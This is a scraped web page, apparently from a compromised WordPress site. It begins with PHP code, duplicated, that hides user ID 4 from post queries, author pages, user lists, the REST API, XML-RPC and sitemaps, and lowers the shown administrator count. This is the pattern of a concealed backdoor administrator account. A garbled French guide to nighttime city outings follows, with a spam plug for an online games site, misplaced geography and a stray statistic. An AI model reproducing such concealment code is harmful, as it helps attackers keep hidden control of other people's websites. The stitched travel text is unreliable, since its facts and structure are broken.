add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 4;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 4;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 4;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 4;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 4;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 4;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Le Marais, quartier historique du 4ᵉ arrondissement, se transforme dès 19 h30. Les petites rues pavées s’animent avec des bars à vins qui proposent des dégustations à prix fixe (3 verres pour 15 €). À 22 h, le pont des Arts accueille une installation d’art lumineux qui dure jusqu’à minuit, parfaite pour des photos Instagram sans foule.

Pour les amateurs de culture, le cinéma en plein air du parc de la Villette propose chaque vendredi un film culte projeté sur grand écran à 21 h45. Les places sont limitées à 150 personnes, alors arriver tôt garantit une bonne vue.
Rennes a lancé le « Nuit des Artistes » chaque premier vendredi du mois. De 20 h à 02 h, plus de 30 ateliers – du street‑art aux ateliers de poterie – s’ouvrent gratuitement. Le tarif d’entrée au marché nocturne du centre-ville reste à 5 €, avec des spécialités locales comme les crêpes au caramel beurre salé.
Les noctambules peuvent également profiter du nouveau rooftop du Grand Hôtel, qui offre une vue panoramique sur la Loire. Le cocktail signature, le « Mistral Bleu », combine gin, liqueur de sureau et une touche de citron vert pour 12 €.
Le quartier de la Presqu’île organise chaque samedi une « Fête des Lumières » à partir de 21 h. Les façades des bâtiments sont décorées de projections vidéo synchronisées avec des musiques électroniques locales. En plus, le food‑truck « Bouchon Nomade » sert des bouchons lyonnais revisités (saucisson, quenelle) à 8 € la portion.
Pour les amateurs de vin, le bar à vins Le Verre d’Or propose une dégustation de 6 crus de la Vallée du Rhône, chaque verre étant accompagné d’une petite assiette de charcuterie à 18 €.
Après une soirée à explorer les ruelles éclairées, il est parfois agréable de changer d’air sans quitter son logement. C’est là qu’intervient its-formation.com : la plateforme propose des jeux en ligne et des expériences interactives qui peuvent se glisser entre deux visites culturelles, offrant un moment de détente tout en restant dans l’esprit de découverte.
Le vieux Montpellier organise le « Bal des Ombres » chaque jeudi à 22 h30 sur la place de la Comédie. Les danseurs de tango et de salsa invitent le public à rejoindre la piste. L’entrée est gratuite, mais les cours d’initiation, d’une durée de 30 minutes, coûtent 10 €.
Le soir se poursuit au bar à cocktails Le Phénix, où le « Sunset Martini » (vodka, jus d’orange sanguine, sirop de rose) se vend à 11 €. Le bar reste ouvert jusqu’à 02 h, idéal pour prolonger la nuit.
Que vous soyez amateur d’art, de gastronomie ou de danse, chaque région propose une formule nocturne qui vaut le détour. En réservant un hébergement proche du centre et en planifiant vos activités à l’avance, vous maximisez le plaisir tout en évitant les files d’attente. Alors, à votre prochain week‑end, choisissez l’une de ces escapades nocturnes et laissez la nuit écrire votre prochaine histoire inoubliable.
Il a augmenté de 12% par rapport à l’année précédente.
Concerts intimistes, marchés nocturnes, séances de cinéma en plein air, et autres programmes dédiés aux week‑ends courts.